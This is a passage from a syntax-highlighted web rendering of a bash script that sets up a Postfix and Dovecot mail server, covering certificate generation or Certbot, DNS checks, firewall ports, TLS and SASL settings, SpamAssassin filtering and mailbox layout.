</span></span><span style="display:flex;"><span>common_name<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#66d9ef">$(</span> hostname -f <span style="color:#66d9ef">)</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$use_cert_config<span style="color:#e6db74">"</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">"yes"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"[req]
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> default_bit = 4096
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> distinguished_name = req_distinguished_name
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> prompt = no
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> [req_distinguished_name]
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> countryName = </span>$country_name<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> stateOrProvinceName = </span>$state_or_province_name<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> organizationName = </span>$organization_name<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> commonName = </span>$common_name<span style="color:#e6db74"> "</span> > $certdir/certconfig.conf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Preliminary record checks</span>
</span></span><span style="display:flex;"><span>ipv4<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>host <span style="color:#e6db74">"</span>$domain<span style="color:#e6db74">"</span> | grep -m1 -Eo <span style="color:#e6db74">'([0-9]+\.){3}[0-9]+'</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span> -z <span style="color:#e6db74">"</span>$ipv4<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> echo <span style="color:#e6db74">"\033[0;31mPlease point your domain ("</span>$domain<span style="color:#e6db74">") to your server's ipv4 address."</span> <span style="color:#f92672">&&</span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv6<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>host <span style="color:#e6db74">"</span>$domain<span style="color:#e6db74">"</span> | grep <span style="color:#e6db74">"IPv6"</span> | awk <span style="color:#e6db74">'{print $NF}'</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span> -z <span style="color:#e6db74">"</span>$ipv6<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> echo <span style="color:#e6db74">"\033[0;31mPlease point your domain ("</span>$domain<span style="color:#e6db74">") to your server's ipv6 address."</span> <span style="color:#f92672">&&</span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Open required mail ports</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> port in <span style="color:#ae81ff">80</span> <span style="color:#ae81ff">993</span> <span style="color:#ae81ff">465</span> <span style="color:#ae81ff">25</span> <span style="color:#ae81ff">587</span> <span style="color:#ae81ff">110</span> 995; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> ufw allow <span style="color:#e6db74">"</span>$port<span style="color:#e6db74">"</span> 2>/dev/null
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$selfsigned<span style="color:#e6db74">"</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">"yes"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> rm -f $certdir/privkey.pem
</span></span><span style="display:flex;"><span> rm -f $certdir/csr.pem
</span></span><span style="display:flex;"><span> rm -f $certdir/fullchain.pem
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Generating a 4096 rsa key and a self-signed certificate that lasts 100 years"</span>
</span></span><span style="display:flex;"><span> mkdir -p $certdir
</span></span><span style="display:flex;"><span> openssl genrsa -out $certdir/privkey.pem <span style="color:#ae81ff">4096</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$use_cert_config<span style="color:#e6db74">"</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">"yes"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> openssl req -new -key $certdir/privkey.pem -out $certdir/csr.pem -config $certdir/certconfig.conf
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> openssl req -new -key $certdir/privkey.pem -out $certdir/csr.pem
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> openssl req -x509 -days <span style="color:#ae81ff">36500</span> -key $certdir/privkey.pem -in $certdir/csr.pem -out $certdir/fullchain.pem
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Open port 80 for Certbot.</span>
</span></span><span style="display:flex;"><span> ufw allow <span style="color:#ae81ff">80</span> 2>/dev/null
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span> ! -d <span style="color:#e6db74">"</span>$certdir<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span>
</span></span><span style="display:flex;"><span> possiblecert<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#66d9ef">$(</span>certbot certificates 2>/dev/null | grep <span style="color:#e6db74">"Domains:\.* \(\*\.</span>$domain<span style="color:#e6db74">\|</span>$maildomain<span style="color:#e6db74">\)\(\s\|</span>$<span style="color:#e6db74">\)"</span> -A <span style="color:#ae81ff">2</span> | awk <span style="color:#e6db74">'/Certificate Path/ {print $3}'</span> | head -n1<span style="color:#66d9ef">)</span><span style="color:#e6db74">"</span> <span style="color:#f92672">&&</span>
</span></span><span style="display:flex;"><span> certdir<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>possiblecert%/*<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span> ! -d <span style="color:#e6db74">"</span>$certdir<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span>
</span></span><span style="display:flex;"><span> certdir<span style="color:#f92672">=</span><span style="color:#e6db74">"/etc/letsencrypt/live/</span>$maildomain<span style="color:#e6db74">"</span> <span style="color:#f92672">&&</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> <span style="color:#e6db74">"</span><span style="color:#66d9ef">$(</span>netstat -tulpn | grep <span style="color:#e6db74">":80\s"</span><span style="color:#66d9ef">)</span><span style="color:#e6db74">"</span> in
</span></span><span style="display:flex;"><span> *nginx*<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> apt install -y python3-certbot-nginx
</span></span><span style="display:flex;"><span> certbot -d <span style="color:#e6db74">"</span>$maildomain<span style="color:#e6db74">"</span> certonly --nginx --register-unsafely-without-email --agree-tos
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> *apache*<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> apt install -y python3-certbot-apache
</span></span><span style="display:flex;"><span> certbot -d <span style="color:#e6db74">"</span>$maildomain<span style="color:#e6db74">"</span> certonly --apache --register-unsafely-without-email --agree-tos
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> *<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> apt install -y python3-certbot
</span></span><span style="display:flex;"><span> certbot -d <span style="color:#e6db74">"</span>$maildomain<span style="color:#e6db74">"</span> certonly --standalone --register-unsafely-without-email --agree-tos
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">esac</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span> ! -f <span style="color:#e6db74">"</span>$certdir<span style="color:#e6db74">/fullchain.pem"</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> echo <span style="color:#e6db74">"Error locating or installing SSL certificate."</span> <span style="color:#f92672">&&</span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span> ! -f <span style="color:#e6db74">"</span>$certdir<span style="color:#e6db74">/privkey.pem"</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> echo <span style="color:#e6db74">"Error locating or installing SSL certificate."</span> <span style="color:#f92672">&&</span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$selfsigned<span style="color:#e6db74">"</span> !<span style="color:#f92672">=</span> <span style="color:#e6db74">"yes"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span> ! -f <span style="color:#e6db74">"</span>$certdir<span style="color:#e6db74">/cert.pem"</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> echo <span style="color:#e6db74">"Error locating or installing SSL certificate."</span> <span style="color:#f92672">&&</span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span> ! -d <span style="color:#e6db74">"</span>$certdir<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> echo <span style="color:#e6db74">"Error locating or installing SSL certificate."</span> <span style="color:#f92672">&&</span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Configuring Postfix's main.cf..."</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Adding additional vars to fix an issue with receiving emails (relay access denied) and adding it to mydestination.</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">"myhostname = </span>$maildomain<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">"mail_name = </span>$domain<span style="color:#e6db74">"</span> <span style="color:#75715e">#This is for the smtpd_banner</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">"mydomain = </span>$domain<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'mydestination = $myhostname, $mydomain, mail, localhost.localdomain, localhost, localhost.$mydomain'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Change the cert/key files to the default locations of the Let's Encrypt cert/key</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">"smtpd_tls_key_file=</span>$certdir<span style="color:#e6db74">/privkey.pem"</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">"smtpd_tls_cert_file=</span>$certdir<span style="color:#e6db74">/fullchain.pem"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$selfsigned<span style="color:#e6db74">"</span> !<span style="color:#f92672">=</span> <span style="color:#e6db74">"yes"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> postconf -e <span style="color:#e6db74">"smtp_tls_CAfile=</span>$certdir<span style="color:#e6db74">/cert.pem"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Enable, but do not require TLS. Requiring it with other servers would cause</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># mail delivery problems and requiring it locally would cause many other</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># issues.</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtpd_tls_security_level = may'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtp_tls_security_level = may'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># TLS required for authentication.</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtpd_tls_auth_only = yes'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Exclude insecure and obsolete encryption protocols.</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtpd_tls_mandatory_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtp_tls_mandatory_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtpd_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtp_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Exclude suboptimal ciphers.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$allow_suboptimal_ciphers<span style="color:#e6db74">"</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">"no"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> postconf -e <span style="color:#e6db74">'tls_preempt_cipherlist = yes'</span>
</span></span><span style="display:flex;"><span> postconf -e <span style="color:#e6db74">'smtpd_tls_exclude_ciphers = aNULL, LOW, EXP, MEDIUM, ADH, AECDH, MD5, DSS, ECDSA, CAMELLIA128, 3DES, CAMELLIA256, RSA+AES, eNULL'</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Here we tell Postfix to look to Dovecot for authenticating users/passwords.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Dovecot will be putting an authentication socket in /var/spool/postfix/private/auth</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtpd_sasl_auth_enable = yes'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtpd_sasl_type = dovecot'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtpd_sasl_path = private/auth'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># helo, sender, relay and recipient restrictions</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">"smtpd_sender_login_maps = pcre:/etc/postfix/login_maps.pcre"</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtpd_sender_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_sender_login_mismatch, reject_unknown_reverse_client_hostname, reject_unknown_sender_domain'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtpd_recipient_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination, reject_unknown_recipient_domain'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtpd_relay_restrictions = permit_sasl_authenticated, reject_unauth_destination'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtpd_helo_required = yes'</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'smtpd_helo_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_invalid_helo_hostname, reject_non_fqdn_helo_hostname, reject_unknown_helo_hostname'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># NOTE: the trailing slash here, or for any directory name in the home_mailbox</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># command, is necessary as it distinguishes a maildir (which is the actual</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># directory that we want) from a spoolfile (which is what old unix boomers want</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># and no one else).</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">'home_mailbox = Mail/Inbox/'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Prevent "Received From:" header in sent emails in order to prevent leakage of public ip addresses</span>
</span></span><span style="display:flex;"><span>postconf -e <span style="color:#e6db74">"header_checks = regexp:/etc/postfix/header_checks"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># strips "Received From:" in sent emails</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"/^Received:.*/ IGNORE
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">/^X-Originating-IP:/ IGNORE"</span> >> /etc/postfix/header_checks
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Create a login map file that ensures that if a sender wants to send a mail from a user at our local</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># domain, they must be authenticated as that user</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"/^(.*)@</span><span style="color:#66d9ef">$(</span>sh -c <span style="color:#e6db74">"echo </span>$domain<span style="color:#e6db74"> | sed 's/\./\\\./'"</span><span style="color:#66d9ef">)</span>$<span style="color:#e6db74">/ \${1}"</span> > /etc/postfix/login_maps.pcre
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># master.cf</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Configuring Postfix's master.cf..."</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sed -i <span style="color:#e6db74">'/^\s*-o/d;/^\s*submission/d;/^\s*smtp/d'</span> /etc/postfix/master.cf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"smtp unix - - n - - smtp
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">smtp inet n - y - - smtpd
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> -o content_filter=spamassassin
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">submission inet n - y - - smtpd
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> -o syslog_name=postfix/submission
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> -o smtpd_tls_security_level=encrypt
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> -o smtpd_tls_auth_only=yes
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> -o smtpd_enforce_tls=yes
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> -o smtpd_client_restrictions=permit_sasl_authenticated,reject
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> -o smtpd_sender_restrictions=reject_sender_login_mismatch
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> -o smtpd_sender_login_maps=pcre:/etc/postfix/login_maps.pcre
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject_unauth_destination
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">smtps inet n - y - - smtpd
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> -o syslog_name=postfix/smtps
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> -o smtpd_tls_wrappermode=yes
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> -o smtpd_sasl_auth_enable=yes
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">spamassassin unix - n n - - pipe
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> user=debian-spamd argv=/usr/bin/spamc -f -e /usr/sbin/sendmail -oi -f \${sender} \${recipient}"</span> >> /etc/postfix/master.cf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># By default, dovecot has a bunch of configs in /etc/dovecot/conf.d/ These</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># files have nice documentation if you want to read it, but it's a huge pain to</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># go through them to organize. Instead, we simply overwrite</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># /etc/dovecot/dovecot.conf because it's easier to manage. You can get a backup</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># of the original in /usr/share/dovecot if you want.</span>
</span></span><span style="display:flex;"><span>mv /etc/dovecot/dovecot.conf /etc/dovecot/dovecot.backup.conf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Creating Dovecot config..."</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"# Dovecot config
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"># Note that in the dovecot conf, you can use:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"># %u for username
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"># %n for the name in [email protected]
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"># %d for the domain
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"># %h the user's home directory
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ssl = required
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ssl_cert = <</span>$certdir<span style="color:#e6db74">/fullchain.pem
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ssl_key = <</span>$certdir<span style="color:#e6db74">/privkey.pem
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ssl_min_protocol = TLSv1.2
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ssl_cipher_list = "</span><span style="color:#e6db74">'EECDH+ECDSA+AESGCM:EECDH+aRSA+AESGCM:EECDH+ECDSA+SHA256:EECDH+aRSA+SHA256:EECDH+ECDSA+SHA384:EECDH+ECDSA+SHA256:EECDH+aRSA+SHA384:EDH+aRSA+AESGCM:EDH+aRSA+SHA256:EDH+aRSA:EECDH:!aNULL:!eNULL:!MEDIUM:!LOW:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!RC4:!SEED'</span><span style="color:#e6db74">"
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ssl_prefer_server_ciphers = yes
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ssl_dh = </usr/share/dovecot/dh.pem
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">auth_mechanisms = plain login
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">auth_username_format = %n
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">protocols = \$protocols </span>$allowed_protocols<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"># Search for valid users in /etc/passwd
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">userdb {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> driver = passwd
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">#Fallback: Use plain old PAM to find user passwords
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">passdb {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> driver = pam
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"># Our mail for each user will be in ~/Mail, and the inbox will be ~/Mail/Inbox
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"># The LAYOUT option is also important because otherwise, the boxes will be \`.Sent\` instead of \`Sent\`.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">mail_location = </span>$mailbox_format<span style="color:#e6db74">:~/Mail:INBOX=~/Mail/Inbox:LAYOUT=fs
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">namespace inbox {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> inbox = yes
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> mailbox Drafts {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> special_use = \\Drafts
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> auto = subscribe
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> mailbox Junk {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> special_use = \\Junk
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> auto = subscribe
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> autoexpunge = 30d
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> mailbox Sent {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> special_use = \\Sent
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> auto = subscribe
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> mailbox Trash {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> special_use = \\Trash
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> mailbox Archive {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> special_use = \\Archive
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"># Here we let Postfix use Dovecot's authentication system.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">service auth {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> unix_listener /var/spool/postfix/private/auth {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> mode = 0660
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> user = postfix
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> group = postfix
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">protocol lda {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> mail_plugins = \$mail_plugins sieve
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">protocol lmtp {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> mail_plugins = \$mail_plugins sieve
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">protocol pop3 {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> pop3_uidl_format = %08Xu%08Xv
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> pop3_no_flag_updates = yes
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">plugin {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> sieve = ~/.dovecot.sieve
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> sieve_default = /var/lib/dovecot/sieve/default.sieve
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> #sieve_global_path = /var/lib/dovecot/sieve/default.sieve
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> sieve_dir = ~/.sieve
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> sieve_global_dir = /var/lib/dovecot/sieve/
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">"</span> > /etc/dovecot/dovecot.conf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># If using an old version of Dovecot, remove the ssl_dl line.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">case</span> <span style="color:#e6db74">"</span><span style="color:#66d9ef">$(</span>dovecot --version<span style="color:#66d9ef">)</span><span style="color:#e6db74">"</span> in
</span></span><span style="display:flex;"><span> 1|2.1*|2.2*<span style="color:#f92672">)</span> sed -i <span style="color:#e6db74">'/^ssl_dh/d'</span> /etc/dovecot/dovecot.conf ;;
